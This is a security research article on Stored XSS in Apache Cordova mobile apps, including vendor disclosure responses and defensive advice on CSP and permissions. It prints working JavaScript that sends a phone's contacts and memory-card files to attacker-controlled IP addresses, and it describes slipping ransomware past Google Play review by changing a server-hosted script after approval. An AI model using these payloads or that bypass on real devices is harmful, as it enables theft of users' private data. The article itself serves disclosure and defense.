There are many different technologies available on the mobile market that allow you to create applications. One of them – Apache Cordova – allows you to write applications in JavaScript and HTML. Applications created in this way are easy to distribute, and their operation does not differ from native applications written in Java or C. The developer can create one version of the application for various mobile platforms and the end user will not see the difference in the use of the application. The principle of operation is simple: The framework provides API that can be used from the level of JavaScript code, for example, to take a picture with the phone’s camera.
This article presents the question of security of mobile applications written in JavaScript using the Apache Cordova framework for occurrence of Cross-Site Scripting vulnerabilities.
An example of the Apache Cordova application
The following example application is vulnerable to Stored Cross-Site Scripting attacks – malicious code can be saved in the data downloaded by the mobile application from the server (e.g. in the form of a commentary to the article). As a result, on the mobile devices of the application’s users, the attacker’s malicious code will be executed. But how can you use XSS in a mobile application for something more interesting than displaying a JavaScript alert?
Cordova, a framework in which the mobile application was built, provides an API that allows you to refer to sensitive system functions, such as reading a list of contacts, taking a picture, or reading a file from a memory card (the user will have to accept such permissions for the application). This is the assumption of this framework – the developer creates a mobile application via HTML / JavaScript code and from the level of these technologies must be able to perform operations on the device.
However, the attacker using the XSS vulnerability present in the application gets the ability to influence the behavior of the mobile application. As the application is written in JavaScript, sending the JavaScript code to be executed using XSS is the addition of any malicious functionality.
The structure of the mobile application written in Apache Cordova looks like this:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ unzip -l android-debug.apk Archive: android-debug.apk Length Date Time Name --------- ---------- ----- ---- 3616 00-00-1980 00:00 AndroidManifest.xml 765 00-00-1980 00:00 META-INF/CERT.RSA 3019 00-00-1980 00:00 META-INF/CERT.SF 2976 00-00-1980 00:00 META-INF/MANIFEST.MF 1322 00-00-1980 00:00 assets/www/cordova-js-src/android/nativeapiprovider.js 1441 00-00-1980 00:00 assets/www/cordova-js-src/android/promptbasednativeapi.js 11143 00-00-1980 00:00 assets/www/cordova-js-src/exec.js 4924 00-00-1980 00:00 assets/www/cordova-js-src/platform.js 4005 00-00-1980 00:00 assets/www/cordova-js-src/plugin/android/app.js 72751 00-00-1980 00:00 assets/www/cordova.js 1268 00-00-1980 00:00 assets/www/cordova_plugins.js 3719 00-00-1980 00:00 assets/www/css/index.css 21814 00-00-1980 00:00 assets/www/img/logo.png 2799 00-00-1980 00:00 assets/www/index.html 1664 00-00-1980 00:00 assets/www/js/index.js 8006 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/Camera.js 3297 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/CameraConstants.js 1217 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/CameraPopoverHandle.js 2297 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/CameraPopoverOptions.js 1782516 00-00-1980 00:00 classes.dex 216014 00-00-1980 00:00 res/drawable-land-hdpi-v4/screen.png [...] 2684 00-00-1980 00:00 res/xml/config.xml 400 00-00-1980 00:00 res/xml/provider_paths.xml 2636 00-00-1980 00:00 resources.arsc --------- ------- 3735666 36 files |
All application mechanics are saved in JavaScript and HTML files in the assets/www directory.
The sample index.html file looks like this:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<!DOCTYPE html> <html> <head> <title>Test App</title> </head> <body> <div class="app"> <h1>Test App Cordova</h1> CONTENT </div> <script type="text/javascript" src="cordova.js"></script> <script type="text/javascript" src="js/index.js"></script> <script src="http://sekurak.local/js/jquery-3.2.0.min.js"></script> </body> </html> |
To illustrate the vulnerability of XSS in a mobile application, let’s write the JavaScript code alert(/xss/) on the web server – the mobile application will execute the given code:
The effects of XSS
As Apache Cordova provides the API and the application itself has the permissions, among others, to contacts and cameras, let’s use XSS susceptibility to embed the following malicious code <script src=”//sekurak.local/evil.js”></script>:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
document.addEventListener("deviceready", onDeviceReady, false); function onDeviceReady() { var options = new ContactFindOptions(); options.filter = ''; options.multiple = true; var fields = ["displayName"]; navigator.contacts.find(fields, onSuccess, onError, options); } function onSuccess(contacts) { for (var i = 0; i < contacts.length; i++) { alert("Kontakt wyslany do atakujacego = " + encodeURI(contacts[i].displayName) + "; tel. " + contacts[i].phoneNumbers[0].value); var imported = document.createElement('script'); imported.src = 'http://192.168.1.8:8000/save/name/' + encodeURI(contacts[i].displayName) + '/number/' + contacts[i].phoneNumbers[0].value; document.head.appendChild(imported); } } function onError(contactError) { alert('onError!'); } |
Effect of this code will be to display an alert with the user’s contact list and sending them in the background to the attacker’s server:
What else can an attacker use the vulnerabilities in JavaScript mobile application frameworks for? As an attacker, we are limited by the rights that a mobile application has – if the application has rights and an active module for the camera – we can operate it; if the application has rights to the list of contacts – we can read or manage the list of contacts, etc. Let’s see if we can steal private photos from the mobile devices of the application’s users.
The following code will list files on the memory card and send them to the attacker’s server:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
document.addEventListener("deviceready", init, false); function init() { listDir(cordova.file.externalRootDirectory); } function fail(e) {} function gotFile(fileEntry) { fileEntry.file(function(file) { var reader = new FileReader(); reader.onloadend = function(e) { var http = new XMLHttpRequest(); var url = "http://192.168.1.246/uploadFile"; var params = "filename=" + fileEntry.name + "&content=" + this.result; http.open("POST", url, true); http.send(params); } reader.readAsText(file); }); } function listDir(path) { window.resolveLocalFileSystemURL(path, function(fileSystem) { var reader = fileSystem.createReader(); reader.readEntries( function(entries) { for (var i = 1; i < entries.length; i++) { alert("Plik = " + entries[i].name); if (entries[i].isFile == 1) window.resolveLocalFileSystemURL(path + entries[i].name, gotFile, fail); } }, function(err) {} ); }, function(err) {} ); } |
As you can see in the examples, the use of Stored XSS in the application can be fatal for application users.
It is worth noting that even if the application will not be vulnerable to XSS attacks – if the attacker gains access to the web server of the JavaScript mobile application (e.g. by an Injection type error), it will be beneficial for the attacker to embed malicious HTML/JavaScript code in the rendered application resources, e.g. in the jQuery.js file downloaded from the server. Thanks to this, taking over one web server of a mobile application used by 100,000 users and several lines of JavaScript allows the attacker to steal a list of contacts, take pictures of users, record audio / video, or access the file system of a mobile device. Hacking one server can result in taking control over all mobile devices of users.
Developing the idea of an attack of mobile applications written in JavaScript, the question arises: Can such applications actually enter stores, such as Google Play or AppStore?
Android and Google Play security
For the purposes of the article, a simple application was created in Apache Cordova on Android. Then the app was published on Google Play. The goals of the application were simple – it showed the user the most popular Internet memes (pictures). After clicking on the meme, it was saved on the memory card. After accepting it by Google, I changed its operation, so that in effect, the application was a fully equipped mobile ransomware, available for download from Google Play.
The application did not display any suspicious behavior because it did not do any. Only after correct verification by Google Play, I modified the jquery-1.3.20.min.js file downloaded from the server so that the application sent a contact list, a copy of photos from the phone, and files from the memory card to the malicious server instead of saving memes and then ciphered all of them. In this way, the Stored XSS attack can be turned into a full-featured mobile ransomware that is undetectable by Google.
Detection of such an attack is unlikely – if the attacker inserts malicious JavaScript code on the attacked page, it can be executed simultaneously on hundreds of thousands mobile devices of application users. A simple JavaScript code that accesses contacts and files from the phone will only run once, then it disappears from the hacked server, and hundreds of devices already send their data to the attacking servers in the background. The whole incident will not be seen either by Google or the application developer because they will not see any network traffic. Users will probably not be aware of this as the whole attack will be carried out in the background, just like the above example with saving the meme. After a while the trail after the attack disappears; any evidence of crime can be saved in the mobile application cache, which can also be deleted from the JavaScript level. Only the attacker will know about the scale of the attack.
How is the owner of the Google Play store approaching this issue? The attack of adding a malicious ransomware application to the Google Play store has been described and reported to the Google Security team. Below I attach the answer (my email containing the report informed that the answer to it will be used in the article):
Hi, Jakub,
Gynvael mentioned to us your case, so thanks for following up. It’s a cool attack vector, but I’m afraid it’s working as intended. Android apps (unlike, say, iOS apps) can, by design, download and execute arbitrary code at runtime – this time it’s not a Dalvik bytecode but JS files that give you similar capabilities thanks to Cordova.
It’s true that you can bypass the Play Store validations on submission – there are probably other ways of achieving this as well, not relying on Javascript. The way that most protections for Android users work is at runtime – if you get to execute a code that’s harmful to the users on real user devices (and a large enough number of them for the system to pick it up), this is when the protections would kick in. For small scale it’s likely you’re just not reaching this threshold. This is just a rough description, but feel free to try to reverse engineer what’s going on Android devices.
So, from a security perspective (Google VRP) this would not be rewarded, as the system looks like it’s working as intended. But I’ll forward this to the Abuse team that might be interested in hearing about this specific issue – they might reach a different conclusion.
Still, the hack is l33t 🙂
Response from Android Abuse Team:
Hi, Jakub,
We appreciate the feedback. However, the issues raised here are not specific to Android. The issues identified here point to application security vulnerabilities, which should be addressed by developers through their Security Development Lifecycle. Android has published security development best practices <https://developer.android.com/training/articles/security-tips.html#UserData>.
This report will, unfortunately, not be accepted for our VRP.
Please continue to send us your research findings and feedback in the future.
Security on iOS and AppStore
On iOS you can also access photos, contacts from the Cordova JavaScript level. However, in order to get access to photos, you should use other Cordova plugins than those used in the previous example for the Android platform (this is due to differences in the way you store and share photos on iOS). You can use the Cordova-plugin-photos plugin to download photos from iOS, with a sample JavaScript code:
|
1 2 3 4 5 6 7 8 |
document.addEventListener("deviceready", onDeviceReady, false); function onDeviceReady() { Photos.photos(function(photos) { alert(JSON.stringify(photos)); }); } |
The Apple security team was informed about this attack method before publishing the article one month in advance. Due to the assumption of confidentiality of communication with Apple, there is no answer that can be quoted in the article. However, as Apple assures, the issue of using dynamic native SDK will be “addressed” (without success we tried to get a clarification of this statement). At the time of publication of the article, however, Apple does not have security that will eliminate attacks using Cordova.
For the purposes of the article, a test application for publication on the AppStore was prepared. However, due to the lack of approval of the Apple team to upload the test application on the AppStore, the goals were changed. In order to confirm the possibility of a malicious application written using Cordova on the AppStore, the application already published by Adobe PhoneGap was used, and then the response of the web server was modified to include malicious HTML/JavaScript code. As a result, it was possible to execute malicious external JavaScript code. (There were no tests if the application itself was safe from being susceptible to XSS attacks – Proxy software was used to simulate vulnerability, with modified server responses, which did not interfere with the given application provider. The attack was passive/local). The given case can be treated as proof that it is possible to upload a malicious application on the AppStore.
Apache Cordova reaction
The Apache security team was informed about the behavior before the publication of the article. Apache will not make corrections to Cordova, as it is the developer that is responsible for the security of the application. In order to increase the security of the application written in Cordova Apache, he recommends using Cordova’s “whitelist” and using the correct CSP rules.
Conclusion/Summary
The developer should enforce secure Content-Security-Policy policies, block the processing of HTML code downloaded from external resources, and limit the list of mobile application permissions to the necessary minimum. It is worth noting that from the Cordova 5 version, the Content-Security-Policy policy is defined in the default project file index.html. However, this does not change the fact that from the point of view of the end-user, this does not help much – it is still uncertain whether the application has the correct CSP policy and whether it will not fall victim to the attacker or download the mobile malware from Google Play/AppStore.
The Pentester should pay attention to whether it is possible to execute the code on the side of the mobile application by forcing malicious HTML/JavaScript code in the web server response, even if the application is currently not susceptible to XSS attacks. Allowing the processing of HTML/JavaScript code that is processed dynamically, even code that is downloaded from the company website, should be noted as security vulnerability. The CSP policy should be enforced in the mobile application configuration files – the CSP policy set by the HTTP response headers can be modified by the attacker after taking over the web server, and the lack of it can be used to infect mobile devices.
The end user should, as always, verify what rights he is granting to the mobile application. In other matters, unfortunately, you must count on the correct security management of the application manufacturer or count that the application is not malicious software loaded on Google Play/AppStore. Unfortunately, an application that is now secure can be modified by the attacker by embedding malicious JavaScript on application servers. Perhaps you should also consider using an application that encrypts photos on your phone and access to them is only possible to unlock resources using biometrics or a password?
Due to the development of JavaScript technology and applications based on them, both mobile, web-front-end, and IoT devices, we can expect more vulnerabilities and mass attacks related to these technologies in the future.
Question at the end – look at the first screen of your mobile devices. How many of the visible applications have permission to access photos?
If you want to check the permissions of your applications, you can do this on Android> 6.0 by opening: Settings> Applications> Advanced> Application permissions. On iOS: Settings> Privacy> Pictures / Microphone, etc.
Suggestions for further research:
- How many applications created using Apache Cordova are available on Google Play/AppStore?
- How many of them have the correct CSP policy enforced in the application files?
- How many of them have references to external JavaScript files – and how many of these external JavaScript files are responsible for malicious functionalit